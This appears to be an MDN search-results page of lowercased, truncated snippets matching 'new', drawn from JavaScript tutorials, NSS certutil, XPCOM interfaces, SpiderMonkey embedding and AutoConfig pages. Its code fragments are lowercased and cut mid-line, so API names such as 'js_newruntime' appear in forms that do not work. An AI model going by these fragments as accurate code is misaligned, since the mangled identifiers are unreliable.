new color(this); color.setformat('hsl'); color.updatehsx(); return color.gethsla(); } var a = ''; var v = ''; var hsl = '(' + this.hue + ', ' + this.saturation + '%, ' + this.lightness +'%'; var x = parsefloat(this.a); if (x !== 1) { a = 'a'; v = ', ' + x; } var value = 'hsl' + a + hsl + v + ')'; return value; }; color.prototype.getcolor = function getcolor() { ...
...And 22 more matches
JavaScript Daemons Management - Archive of obsolete content
ic license, version 3 or later. ...
...ystem not required daemon global object methods */ /** * daemon global object optional methods (shortcuts). you could safely remove all or some of them, * depending on your needs. if you want to remove them and are using the daemon.safe subsystem you * should also remove the daemon.safe global object methods that require them. ...
...m, * depending on your needs. if you want to remove them and are using the daemon.safe subsystem you * should also remove the daemon.safe global object methods that require them. ...
...And 21 more matches
Dynamic behavior in Svelte: working with variables and props - Learn web development
ompleted tasks with dynamic expressions: <h2 id="list-heading">{completedtodos} out of {totaltodos} items completed</h2> go to the app, and you should see the "2 out of 3 items completed" message as before, but this time the information is coming from the todos array. to prove it, go to that array, and try changing some of the todo object's completed property values, and even add a
new todo object. observe how the numbers in the message are updated appropriately. dynamically generating the todos from the data at the moment, our displayed todo items are all static. we want to iterate over each item in our todos array and render the markup for each task, so let's do that now. html doesn't have a way of expressing logic — like conditionals and loops. svelte does. in this c...
... service or local storage and later retrieve them for update. so let's turn the array into a prop. in todos.svelte, replace the existing let todos = ... block with export let todos = []. export let todos = [] this may feel a little weird at first. that's not how export normally works in javascript modules! this is how svelte 'extends' javascript by taking valid syntax and giving it a
new purpose. in this case svelte is using the export keyword to mark a variable declaration as a property or prop, which means it becomes accessible to consumers of the component. you can also specify a default initial value for a prop. this will be used if the component's consumer doesn't specify the prop on the component — or if its initial value is undefined — when instantiating the compone...
...prefixing them with $:. svelte will generate the code to automatically update them whenever data they depend on is changed. note: svelte uses the $: javascript label statement syntax to mark reactive statements. just like the export keyword being used to declare props, this may look a little alien. this is another example in which svelte takes advantage of valid javascript syntax and gives it a
new purpose — in this case to to mean "re-run this code whenever any of the referenced values change". once you get used to it, there's no going back. update your totaltodos and completedtodos variable definitions inside src/components/todos.svelte to look like so: $: totaltodos = todos.length $: completedtodos = todos.filter(todo => todo.completed).length if you check your app now, you'll see ...
...And 21 more matches
NSS tools : certutil
ertutil — manage keys and certificate in both nss databases and other nss tokens synopsis certutil [options] [[arguments]] description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key databases. it can specifically list, generate, modify, or delete certificates, create or change the password, generate
new public and private key pairs, display the contents of the key database, or delete key pairs within the key database. certificate issuance, part of the key and certificate management process, requires that keys and certificates be created in the key database. this document discusses certificate and key database management. for information on the security module database managem...
... arguments. command options -a add an existing certificate to a certificate database. the certificate database should already exist; if one is not present, this command option will initialize one by default. -b run a series of commands from the specified batch file. this requires the -i argument. -c create a
new binary certificate file from a binary certificate request file. use the -i argument to specify the certificate request file. if this argument is not used, certutil prompts for a filename. -d delete a certificate from the certificate database. --rename change the database nickname of a certificate. -e add an email cert...
...h those keys from the certificate database, by using -d. some smart cards (for example, the litronic card) do not let you remove a public key you have generated. in such a case, only the private key is deleted from the key pair. you can display the public key with the command certutil -k -h tokenname. -g generate a
new public and private key pair within a key database. the key database should already exist; if one is not present, this option will initialize one by default. some smart cards (for example, the litronic card) can store only one key pair. if you create a
new key pair for such a card, the previous pair is overwritten. -h ...
...And 21 more matches
certutil
name certutil — manage keys and certificate in the the nss database. synopsis certutil [options] arguments description the certificate database tool, certutil, is a command-line utility that can create and modify certificate and key database files. it can also list, generate, modify, or delete certificates within the database, create or change the password, generate
new public and private key pairs, display the contents of the key database, or delete key pairs within the key database. the key and certificate management process generally begins with creating keys in the key database, then generating and managing certificates in the certificate database. this document discusses certificate and key database management. for information security mo...
...options specify an action and are uppercase. -a add an existing certificate to a certificate database. the certificate database should already exist; if one is not present, this option will initialize one by default. -b run a series of commands from the specified batch file. this requires the -i argument. -c create a
new binary certificate file from a binary certificate request file. use the -i argument to specify the certificate request file. if this argument is not used, certutil prompts for a filename. -d delete a certificate from the certificate database. -e add an email certificate to the certificate database. -f delete a privat...
... associated with those keys from the certificate database, by using -d. some smart cards (for example, the litronic card) do not let you remove a public key you have generated. in such a case, only the private key is deleted from the key pair. you can display the public key with the command certutil -k -h tokenname. -g generate a
new public and private key pair within a key database. the key database should already exist; if one is not present, this option will initialize one by default. some smart cards (for example, the litronic card) can store only one key pair. if you create a
new key pair for such a card, the previous pair is overwritten. -h display a...
...And 21 more matches
nsIMsgFolder
isspecialfolder and such). ...
...isspecialfolder and such). ...
...msgwindow msgwindow); void renamesubfolders( in nsimsgwindow msgwindow, in nsimsgfolder oldfolder); astring generateuniquesubfoldername(in astring prefix,in nsimsgfolder otherfolder); void updatesummarytotals(in boolean force); void summarychanged(); long getnumunread(in boolean deep); long gettotalmessages(in boolean deep); void clear
newmessages(); void clearrequirescleanup(); void setflag(in unsigned long flag); void clearflag(in unsigned long flag); boolean getflag(in unsigned long flag); void toggleflag(in unsigned long flag); void onflagchange(in unsigned long flag); void setprefflag(); nsimsgfolder getfolderswithflag(in unsigned long flags, in unsigned l...
...And 21 more matches
nsINavHistoryResultObserver
atogglemode); void containerclosed(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containeropened(in nsinavhistorycontainerresultnode acontainernode); deprecated since gecko 2.0 obsolete since gecko 11.0 void containerstatechanged(in nsinavhistorycontainerresultnode acontainernode, in unsigned long aoldstate, in unsigned long a
newstate); void invalidatecontainer(in nsinavhistorycontainerresultnode acontainernode); void nodeannotationchanged(in nsinavhistoryresultnode anode, in autf8string aannoname); void nodedateaddedchanged(in nsinavhistoryresultnode anode, in prtime a
newvalue); void nodehistorydetailschanged(in nsinavhistoryresultnode anode, in prtime a
newvisitdate, in unsigned long a
newaccesscount); void node...
...g aannoname); void nodedateaddedchanged(in nsinavhistoryresultnode anode, in prtime a
newvalue); void nodehistorydetailschanged(in nsinavhistoryresultnode anode, in prtime a
newvisitdate, in unsigned long a
newaccesscount); void nodeiconchanged(in nsinavhistoryresultnode anode); void nodeinserted(in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode anode, in unsigned long a
newindex); void nodekeywordchanged(in nsinavhistoryresultnode anode, in autf8string a
newkeyword); void nodelastmodifiedchanged(in nsinavhistoryresultnode anode, in prtime a
newvalue); void nodemoved(in nsinavhistoryresultnode anode, in nsinavhistorycontainerresultnode aoldparent, in unsigned long aoldindex, in nsinavhistorycontainerresultnode a
newparent, in unsigned long a
newindex); void noder...
...rycontainerresultnode aoldparent, in unsigned long aoldindex, in nsinavhistorycontainerresultnode a
newparent, in unsigned long a
newindex); void noderemoved(in nsinavhistorycontainerresultnode aparent, in nsinavhistoryresultnode aitem, in unsigned long aoldindex); void nodereplaced(in nsinavhistorycontainerresultnode aparentnode, in nsinavhistoryresultnode aoldnode, in nsinavhistoryresultnode a
newnode, in unsigned long aindex); void nodetagschanged(in nsinavhistoryresultnode anode); void nodetitlechanged(in nsinavhistoryresultnode anode, in autf8string a
newtitle); void nodeurichanged(in nsinavhistoryresultnode anode, in autf8string a
newuri); void sortingchanged(in unsigned short sortingmode); attributes attribute type description result nsinavhistoryresult the nsinavhistory...
...And 21 more matches
Index
2 account provisioner the account provisioner is the dialog that first comes up when starting thunderbird. ...
... activity manager interfaces thunderbird this page describes the programmatic interfaces behind the activity manager component. the functionality of the component is described on the activity manager page, and the activity manager examples page has code snippets. see nsiactivitymanager.idl and nsiactivity.idl files for source documentation. ...
...address book interfaces provides an overview of the related interfaces. see an overview of thunderbird components for a general description of the thunderbird user interface and related programmatic interfaces. ...
...And 21 more matches
Mozilla release FAQ - Archive of obsolete content
rn for this, netscape (aol) contributes developers to work on the project. the netscape versions may have a different look/feel than mozilla versions, and also may add proprietary features. the netscape versions are all branded as netscape (aol) products. ...
... (aol) products. what resources are available to the mozilla community? webpages mozilla project homepage netscape developer program website mozillazine (
news service) mozilla evangelism effort mozdev projects irc server: irc.mozilla.org channel #mozillazine note that recent versions of mozilla include an irc client. other irc clients can be found at irchelp.org. usenet all
newsgroups in the netscape.public.mozilla.* hierarchy. if your
news server doesn't carry these, you can use the mozilla
news server. (some people receive the
newsgroups via a mailing list. take this into consideration when posting things) ftp see the mozilla ftp mirror section for ftp sites under which license terms was mozilla released? mozilla is released under the npl/mpl (netscape/mozilla pu...
...ror section for ftp sites under which license terms was mozilla released? mozilla is released under the npl/mpl (netscape/mozilla public licenses) which are in some ways similar to the gnu gpl, and in some ways similar to a bsd-style license. take a look at mozilla.org's npl area for details. what are all of the codenames given to various netscape/mozilla projects? gecko (formerly raptor) is the
new html rendering engine in mozilla. it features speed improvements, a more modular nature, and significantly less platform-dependant code. it is more suitable for being embedded in other applications than the previous rendering engine. gemini was a previous rendering engine project, renamed nglayout aurora is the navigation center in mozilla and navigator5 seamonkey refers to versions of moz...
...And 20 more matches
NSS_3.12_release_notes.html
we missed the deadline to enable that feature in firefox 3. ...
...we missed the deadline to enable that feature in firefox 3. ...
...we missed the deadline to enable that feature in firefox 3. ...
...And 20 more matches
JSAPI User Guide
g, for example, js_evaluatescript), it provides the global object for that script to use. as the script runs, it can create global functions and variables of its own. all of these functions, classes, and variables are stored as properties of the global object. ...
...for maximum ecmascript standard compliance, applications should also use js_setoptions to enable jsoption_varobjfix. to get the latest javascript language features, applications may use js_setversion. error reporting is also per-context and is enabled using js_seterrorreporter. ...
...arobjfix. to get the latest javascript language features, applications may use js_setversion. error reporting is also per-context and is enabled using js_seterrorreporter. the global object: to create this object, you first need a jsclass with the jsclass_global_flags option. the example below defines a very basic jsclass (named global_class) with no methods or properties of its own. use js_
newglobalobject to create a global object. use js_initstandardclasses to populate it with the standard javascript globals. this may seem like a lot of pieces for a simple application. it amounts to about 80 lines of code, as shown below. but the jsapi is designed to scale to applications that need many global objects. it is a fine-grained api, supporting many different combinations of the parts, ...
...And 20 more matches
nsIMsgDatabase
the nsimsgdatabase interface is an abstract interface used to access the mail database backend. mail
news/db/msgdb/public/nsimsgdatabase.idlscriptable please add a summary to this article. ...
... nsisimpleenumerator enumeratemessages(); nsisimpleenumerator enumeratethreads(); void synccounts; nsimsgthread getthreadcontaining...
... nsisimpleenumerator enumeratemessages(); nsisimpleenumerator enumeratethreads(); void synccounts; nsimsgthread getthreadcontainingmsghdr(in nsimsgdbhdr msghdr); vo...
...And 20 more matches
Inheritance and the prototype chain - JavaScript
ead specifies the [[prototype]] to be assigned to all instances of objects created by the given function when used as a constructor. the object.prototype property represents the object prototype object. here is what happens when trying to access a property: // let's create an object o from function f with its own properties a and b: let f = function () { this.a = 1; this.b = 2; } let o =
new f(); // {a: 1, b: 2} // add properties in f function's prototype f.prototype.b = 3; f.prototype.c = 4; // do not set the prototype f.prototype = {b:3,c:4}; this will break the prototype chain // o.[[prototype]] has properties b and c. // o.[[prototype]].[[prototype]] is object.prototype. // finally, o.[[prototype]].[[prototype]].[[prototype]] is null. // this is the end of the prototype chain, ...
...properties can then be added onto this object. try the following code: function dosomething(){} dosomething.prototype.foo = "bar"; // add a pr...
... constructor: ƒ object(), hasownproperty: ƒ hasownproperty(), isprototypeof: ƒ isprototypeof(), propertyisenumerable: ƒ propertyisenumerable(), tolocalestring: ƒ tolocalestring(), tostring: ƒ tostring(), valueof: ƒ valueof() } } we can now use the
new operator to create an instance of dosomething() based on this prototype. to use the
new operator, simply call the function normally except prefix it with
new. ...
...And 20 more matches
Places Developer Guide
arks in a transactional manner, providing facilities for undo/redo places utilities for javascript - accessors and helper functions for firefox and extensions creating bookmarks, folders and other items creating a bookmark // create an nsiuri for the url to be bookmarked. var bookmarkuri = cc["@mozilla.org/network/io-service;1"] .getservice(ci.nsiioservice) .
newuri("http://www.mozilla.com", null, null); var bookmarkid = bookmarks.insertbookmark( bookmarks.toolbarfolder, // the id of the folder the bookmark will be placed in. bookmarkuri, // the uri of the bookmark - an nsiuri object. bookmarks.default_index, // the position of the bookmark in its parent folder. "my bookmark title"); // the title of the bookmark. creating a folder...
...rks.toolbarfolder, // the id of the folder the bookmark will be placed in. bookmarkuri, // the uri of the bookmark - an nsiuri object. bookmarks.default_index, // the position of the bookmark in its parent folder. "my bookmark title"); // the title of the bookmark. creating a folder var folderid = bookmarks.createfolder( bookmarks.toolbarfolder, // the id of the folder the
new folder will be placed in. "my folder title", // the title of the
new folder. bookmarks.default_index); // the position of the
new folder in its parent folder. creating a separator var separatorid = bookmarks.insertseparator( bookmarks.toolbarfolder, // the id of the folder the separator will be placed in. bookmarks.default_index); // the position of the separator in its paren...
...parent folder. creating a separator var separatorid = bookmarks.insertseparator( bookmarks.toolbarfolder, // the id of the folder the separator will be placed in. bookmarks.default_index); // the position of the separator in its parent folder. ...
...And 19 more matches
Using Web Workers - Web APIs
ee functions and classes available to workers for more details. data is sent between workers and the main thread via a system of messages — both sides send their messages using the postmessage() method, and respond to messages via the onmessage event handler (the message is contained within the message event's data attribute.) the data is copied rather than shared. workers may, in turn, spawn
new workers, as long as those workers are hosted within the same origin as the parent page. in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel attributes on xmlhttprequest always return null. dedicated workers as mentioned above, a dedicated worker is only accessible by the script that called it. in this section we'll discuss the javascr...
...vial, but we decided to keep it simple while introducing you to basic worker concepts. more advanced details are covered later on in the article. worker feature detection for slightly more controlled error handling and backwards compatibility, it is a good idea to wrap your worker accessing code in the following (main.js): if (window.worker) { ... } spawning a dedicated worker creating a
new worker is simple. all you need to do is call the worker() constructor, specifying the uri of a script to execute in the worker thread (main.js): var myworker =
new worker('worker.js'); sending messages to and from a dedicated worker the magic of workers happens via the postmessage() method and the onmessage event handler. when you want to send a message to the worker, you post messages to i...
...ach with javascript applied that uses the same single worker file. note: if sharedworker can be accessed from several browsing contexts, all those browsing contexts must share the exact same origin (same protocol, host, and port). note: in firefox, shared workers cannot be shared between documents loaded in private and non-private windows (bug 1177621). ...
...And 19 more matches
A re-introduction to JavaScript (JS tutorial) - JavaScript
lasses). javascript also supports functional programming — because they are objects, functions may be stored in variables and passed around like any other object. let's start off by looking at the building blocks of any language: the types. javascript programs manipulate values, and those values all belong to a type. ...
...things are a lot easier if we stick with the first diagram, however, so we'll discuss the types listed there for now. ...
...ied number format, then return the number parsed up to that point. however the "+" operator simply converts the string to nan if there is an invalid character contained within it. just try parsing the string "10.2abc" with each method by yourself in the console and you'll understand the differences better. strings strings in javascript are sequences of unicode characters. this should be welcome
news to anyone who has had to deal with internationalization. more accurately, they are sequences of utf-16 code units; each code unit is represented by a 16-bit number. each unicode character is represented by either 1 or 2 code units. if you want to represent a single character, you just use a string consisting of that single character. to find the length of a string (in code units), access its l...
...And 19 more matches
Inner-browsing extending the browser navigation paradigm - Archive of obsolete content
this model of web navigation is so common that most internet users do little else. ...
...this model of web navigation is so common that most internet users do little else. ...
... this model has begun to show its age and its limitations. for web developers, for example, it provides less fine-grained control over the experience, and it can strain bandwidth and other resources. and for users it usually doesn't begin to approach the seamlessness and usability of good application user interfaces. recently, however, modern browsers and enriched web standards have begun to make
new navigational and presentational models possible. one such model is inner-browsing, which is our name for a model in which all navigation occurs within a single page, as in a typical application interface. the single-page context and abstraction of data from the presentation can give your web applications
new continuity, precision and control. this model is also interesting because is optimized to...
...And 18 more matches
Textbox (XPFE autocomplete) - Archive of obsolete content
alwaysopenpopup obsolete since gecko 1.9.1 type: boolean note: applies to: thunderbird and seamonkeyif true, the autocomplete popup will be displayed even when there are no matches. if false, the default value, the popup will be hidden. this attribute is obsolete as of gecko 1.9.1; to control the display of the popup, use the minresultsforpopup attribute instead. autocompletesearch
new in thunderbird 2requires seamonkey 1.1 type: space-separated list of values a space-separated list of search component names, each of which implements the nsiautocompletesearch interface. the components are created using the name @mozilla.org/autocomplete/search;1?name= where name is listed in this attribute. search-autocomplete requires seamonkey 2.1 the user's def...
...nts the nsiautocompletesearch interface. the components are created using the name @mozilla.org/autocomplete/search;1?name= where name is listed in this attribute. search-autocomplete requires seamonkey 2.1 the user's default search engine's suggestions are searched. places-tag-autocomplete requires seamonkey 2.1 the user's places tags are searched. ...
... tags are searched. mydomain
new in thunderbird 3 requires seamonkey 2.0 the user's email domain is suggested. history requires seamonkey 2.0 the user's url history is searched. form-history requires seamonkey 2.0 search the values that the user has entered into form fields. file (linux only) the local file system is searched. gloda
new in thunderbird 3 addrbook
new in thunderbird 3 requires seamonkey 2.0 the user's address book is searched. ldap
new in thunderbird 25 requires seamonkey 2.22 the user's ldap directory is searched. autocompletesearchparam
new in thunderbird 2 requires seamonkey 1.1 type: string a string which is passed to the search component. ...
...And 18 more matches
TypeScript support in Svelte - Learn web development
ide support: type information allows code editors and ides to offer features like code navigation, autocompletion, and smarter hints. safer refactoring: types allows ides to know more about your code, and assist you while refactoring large portions of your code base. type inference: enables you to take advantage of many typescript features even without declaring variable types. availability of
new and future javascript features: typescript transpiles many recent es6 features to plain old-school javascript, allowing you to use them even on user-agents that don't support them natively yet. typescript also has some disadvantages: not true static typing: types are only checked at compile time, and they are removed from the generated code. steep learning curve: even though typescript is a...
...ranspiles many recent es6 features to plain old-school javascript, allowing you to use them even on user-agents that don't support them natively yet. typescript also has some disadvantages: not true static typing: types are only checked at compile time, and they are removed from the generated code. steep learning curve: even though typescript is a superset of javascript and not a completely
new language, there is a considerable learning curve, especially if you have no experience at all with static languages like java or c#. more code: you have to write and maintain more code. no replacement for automatic tests: even though types might help you catch several bugs, typescript is not a true replacement for a comprehensive suite of automated tests. boiler plate code: working with types,...
...arge-scale projects, like angular 2, vue 3, ionic, visual studio code, jest and even the svelte compiler. nevertheless, some developers prefer to use it even on small projects like the one we are developing. in the end, it's your decision. in the following sections we hope to give you more evidence to make up your mind about it. ...
...And 18 more matches
JSAPI reference
ll of 2012, the spidermonkey team decided to align releases with those of firefox. the reference applies this versioning scheme retroactively starting with firefox 5. firefox 4 is the last release that has a corresponding spidermonkey release with the old scheme, where the jsapi has the version 1.8.5. ...
...old scheme, where the jsapi has the version 1.8.5. ...
...erateresolvedstandardclasses obsolete since jsapi 24 js_isrunning js_saveframechain js_restoreframechain js_isassigning obsolete since javascript 1.8.5 js_isconstructing obsolete since jsapi 26 js_isconstructing_possiblywithgiventhisobject obsolete since jsapi 17 js_getscopechain obsolete since javascript 1.8.7 compartments: class jsautocompartment added in spidermonkey 24 js_
newglobalobject added in spidermonkey 17 js_entercompartment added in spidermonkey 24 js_leavecompartment added in spidermonkey 24 js_getcompartmentprivate added in spidermonkey 1.8.5 js_setcompartmentprivate added in spidermonkey 1.8.5 js_getglobalforcompartmentornull added in spidermonkey 17 js_iteratecompartments added in spidermonkey 17 js_setdestroycompartmentcallback added in spidermonke...
...And 18 more matches
Mozilla internal string guide
gth() - the number of code units (bytes for 8-bit string classes and char16_ts for 16-bit string classes) in the string. .isempty() - the fastest way of determining if the string has any value. use this instead of testing string.length == 0 .equals(string) - true if the given string has the same value as the current string. common methods that modify the string: .assign(string) - assigns a
new value to the string. .append(string) - appends a value to the string. .insert(string, position) - inserts the given string before the code unit at position. .truncate(length) - shortens the string to the given length. complete documentation can be found in the appendix. read-only strings the const attribute on a string determines if the string is writable. if a string is defined as a const...
...tring- a null-terminated string whose buffer is allocated on the heap. destroys its buffer when the string object goes away. nsautostring / nsautocstring- derived from nsstring, a string which owns a 64 code unit buffer in the same storage space as the string itself. if a string less than 64 code units is assigned to an nsautostring, then no extra storage will be allocated. for larger strings, a
new buffer is allocated on the heap. if you want a number other than 64, use the templated types nsautostringn / nsautocstringn. (nsautostring and nsautocstring are just typedefs for nsautostringn<64> and nsautocstringn<64>, respectively.) nsdependentstring- derived from nsstring, this string does not own its buffer. it is useful for converting a raw string (const char16_t* or const char*) into a cl...
...(pos < len - 1) memmove(cur + 4, cur + 1, (len - 1 - pos) * sizeof(char16_t)); // fill the tab with spaces *cur = char16_t(' '); *(cur + 1) = char16_t(' '); *(cur + 2) = char16_t(' '); *(cur + 3) = char16_t(' '); pos += 4; cur += 4; } } } if a string buffer becomes smaller while writing it, use setlength to inform the string class of the
new size: /** * remove every tab character from `data` */ void removetabs(nsastring& data) { int len = data.length(); char16_t* cur = data.beginwriting(); char16_t* end = data.endwriting(); while (cur < end) { if (char16_t('\t') == *cur) { len -= 1; end -= 1; if (cur < end) memmove(cur, cur + 1, (end - cur) * sizeof(char16_t)); } else { cur += 1; ...
...And 18 more matches
Function.prototype.bind() - JavaScript
the bind() method creates a
new function that, when called, has its this keyword set to the provided value, with a given sequence of arguments preceding any provided when the
new function is called. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax let boundfunc = func.bind(thisarg[, arg1[, arg2[, ...argn]]]) parameters thisarg the value to be passed as the this parameter to the target function func when the bound function is called. the value is ignored if the bound function is constructed using the
new operator. when using bind to create a function (supplied as a callback) inside a settimeout, any pri...
... bound function is called. the value is ignored if the bound function is constructed using the
new operator. when using bind to create a function (supplied as a callback) inside a settimeout, any primitive value passed as thisarg is converted to object. if no arguments are provided to bind , or if the thisarg is null or undefined, the this of the executing scope is treated as the thisarg for the
new function. arg1, arg2, ...argn optional arguments to prepend to arguments provided to the bound function when invoking func. return value a copy of the given function with the specified this value, and initial arguments (if provided). ...
...calling the bound function generally results in the execution of its wrapped function. ...
...And 18 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
ents) who share computers in labs and "self service" computer rooms. hence a single computer might connect many different users all day long. computers are dual-boot (windows 7 and linux fedora 19 by 2013). all users have a personal account on a windows server (ad) and an ldap account for linux authentication. objective the objective is to provide users with a mailer agent, a web browser, and a
news reader which are automatically configured (preferences) at startup to the current user connected on the computer. choosing mozilla products allow us to use the same apps while running either windows or linux systems (i suspect mac osx would be fine too). instead of configuring end user individual preferences files (~/.mozilla/default/randomdir/prefs.js) we now use a centralized default set of p...
...("mail.smtp.defaultserver", "smtp1"); lockpref("mail.smtpserver.smtp1.auth_method", 0); lockpref("mail.smtpserver.smtp1.hostname", "smtp-int.int-evry.fr"); lockpref("mail.smtpserver.smtp1.port", 25); lockpref("mail.smtpserver.smtp1.try_ssl", 0); lockpref("mail.smtpserver.smtp1.username", ""); lockpref("mail.smtpservers", "smtp1"); lockpref("mail.startup.enabledmailcheckonce", true); lockpref("mail
news.quotingprefs.version", 1); lockpref("mail
news.ui.threadpane.version", 5); /* 3) define here (because if set after "4)" below it doesn't work!) processldapvalues which is eventually called by getldapattributes() just below, check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues */ function processldapvalues(v...
...ssary to allow anonymous read access. please see //(german) http://interop.blog.de/2010/02/13/kapitel-1-ldap-anfragen-linux-ad-8001564/ //or search the net how to do it. ...
...And 17 more matches
Bounding volume collision detection with THREE.js - Game development
we need to provide the lower and upper boundaries of the box. usually we will want this aabb to be "linked" to an object in our 3d world (like a character.) in three.js, geometry instances have a boundingbox property with min and max boundaries for the object. keep in mind that in order for this property to be defined, you need to manually call geometry.computeboundingbox beforehand. var knot =
new three.mesh(
new three.torusknotgeometry(0.5, 0.1),
new meshnormalmaterial({})); knot.geometry.computeboundingbox(); var knotbbox =
new box3( knot.geometry.boundingbox.min, knot.geometry.boundingbox.max); note: the boundingbox property takes the geometry itself as reference, and not the mesh. so any transformations such as scale, position, etc. applied to the mesh will be ignored whi...
...reference, and not the mesh. so any transformations such as scale, position, etc. applied to the mesh will be ignored while computing the calculating box. a more simple alternative that fixes the previous issue is to set those boundaries later on with box3.setfromobject, which will compute the dimensions taking into account a 3d entity's transformations and any child meshes as well. ...
... the mesh. so any transformations such as scale, position, etc. applied to the mesh will be ignored while computing the calculating box. a more simple alternative that fixes the previous issue is to set those boundaries later on with box3.setfromobject, which will compute the dimensions taking into account a 3d entity's transformations and any child meshes as well. ...
...And 17 more matches
Inheritance in JavaScript - Learn web development
eeting = function() { alert('hi! i\'m ' + this.name.first + '.'); }; note: in the source code, you'll also see bio() and farewell() methods defined. later you'll see how these can be inherited by other constructors. say we wanted to create a teacher class, like the one we described in our initial object-oriented definition, which inherits all the members from person, but also includes: a
new property, subject — this will contain the subject the teacher teaches. an updated greeting() method, which sounds a bit more formal than the standard greeting() method — more suitable for a teacher addressing some students at school. defining a teacher() constructor function the first thing we need to do is create a teacher() constructor — add the following below the existing code: fun...
...cifies the value of this that you want to use when running the function, and the other parameters are those that should be passed to the function when it is invoked. we want the teacher() constructor to take the same parameters as the person() constructor it is inheriting from, so we specify them all as parameters in the call() invocation. ...
...it also takes more lines of code. inheriting from a constructor with no parameters note that if the constructor you are inheriting from doesn't take its property values from parameters, you don't need to specify them as additional arguments in call(). ...
...And 17 more matches
How to embed the JavaScript engine
__stdc_limit_macros // #include <stdint.h> #include "jsapi.h" /* the class of the global object. */ static jsclass global_class = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, }; int main(int argc, const char *argv[]) { jsruntime *rt = js_
newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_
newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext. jsautorequest ar(cx); // in practice, you would want to exit this any ...
... jscontext *cx = js_
newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext. ...
... // time you're spinning the event loop js::rootedobject global(cx, js_
newglobalobject(cx, &global_class, nullptr)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *script = "'hello'+'world, it is '+
new date()"; const char *filename = "noname"; int lineno = 1; bool ok = js_evaluatescript(cx, global, script, strlen(script), filename, lineno, rval.address()); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); } js_destroycontext(cx); js_destroyruntime(rt); js_shutdown(); r...
...And 17 more matches
SpiderMonkey 1.8.7
javascript team is pleased to announce the release of spidermonkey 1.8.5. you can download full source code here: http://ftp.mozilla.org/pub/mozilla.org/js/js185-1.0.0.tar.gz (md5 checksum: a4574365938222adca0a6bd33329cb32). spidermonkey 1.8.5 is the javascript engine that shipped in firefox 4.0. it is much faster than spidermonkey 1.8, implements es-5 (ecma 262, 5th edition), and contains many
new language and api features, described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. or, file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. —22 march 2011 platform support spidermonkey 1.8.7 is supported on all the platforms where firefox 10 runs. spidermonkey 1.8.7 includes...
...ed, though most of them still have the same names and do the same things. applications will need significant changes, but most of those changes will be detected by the c/c++ compiler, so they are easy to detect and updating the code is a fairly straightforward job. here is a list of the most significant changes. xxx is there anything here? these and other changes are explained in detail below.
new javascript language features xxx needs updating javascript 1.8.5 adds support for ecmascript edition 5, including es5 strict mode. for details, see
new in javascript 1.8.5. note that there are a very small number of incompatibilities between es5 and and es3, the version of ecmascript supported by spidermonkey versions 1.5 through 1.8. these are discussed in annex e of the es5 specification. spid...
...gn-function interface for privileged javascript. to enable js-ctypes in your embedding, you must configure with the --enable-ctypes option and choose one of the configuration options to enable nspr (e.g. --with-system-nspr). xxx all sections below need updating garbage collection spidermonkey 1.8.5 introduces a conservative stack-scanning garbage collector. unlike the exact garbage collector, the
new garbage collector will scan the c stack and registers in your embedding, looking for bits that it can treat as potential gc roots. the approach eliminates the need for the js_enterlocalrootscope api, and in many cases the need to explicitly root gc things or use the "root as you go" approach popular with earlier spidermonkey releases. since this is a conservative collector, it will often find "g...
...And 17 more matches
nsIIOService
ble this interface provides a set of url parsing utility functions. these are provided as a convenience to the programmer and in some cases to improve performance by eliminating intermediate data structures and interfaces. inherits from: nsisupports last changed in gecko 1.2 this interface duplicates many of the nsiprotocolhandler methods in a protocol handler independent way (for example
newuri() inspects the scheme in order to delegate creation of the
new uri to the appropriate protocol handler). note: nsiioservice may only be used from the main thread. implemented by @mozilla.org/network/io-service;1 as a service: var ioservice = components.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); method overview bo...
...ts.classes["@mozilla.org/network/io-service;1"] .getservice(components.interfaces.nsiioservice); method overview boolean allowport(in long aport, in string ascheme); acstring extractscheme(in autf8string urlstring); unsigned long getprotocolflags(in string ascheme); nsiprotocolhandler getprotocolhandler(in string ascheme); nsichannel
newchannel(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); obsolete since gecko 48 nsichannel
newchannel2(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t acontentpolicytype); nsichannel
newchannelfromuri...
...ri abaseuri); obsolete since gecko 48 nsichannel
newchannel2(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in uint32_t asecurityflags, in uint32_t acontentpolicytype); nsichannel
newchannelfromuri(in nsiuri auri); obsolete since gecko 48 nsichannel
newchannelfromuri2(in nsiuri auri, in nsidomnode aloadingnode, in nsiprincipal aloadingprincipal, in nsiprincipal atriggeringprincipal, in unsigned long asecurityflags, in unsigned long acontentpolicytype); nsichannel
newchannelfromuriwithloadinfo(in nsiuri auri, in nsiloadinfo aloadinfo); nsichannel
newchannelfromuriwithproxyflags2(in nsiuri auri, in nsiuri aproxyuri, in uint32_t a...
...And 17 more matches
Streams - Plugins
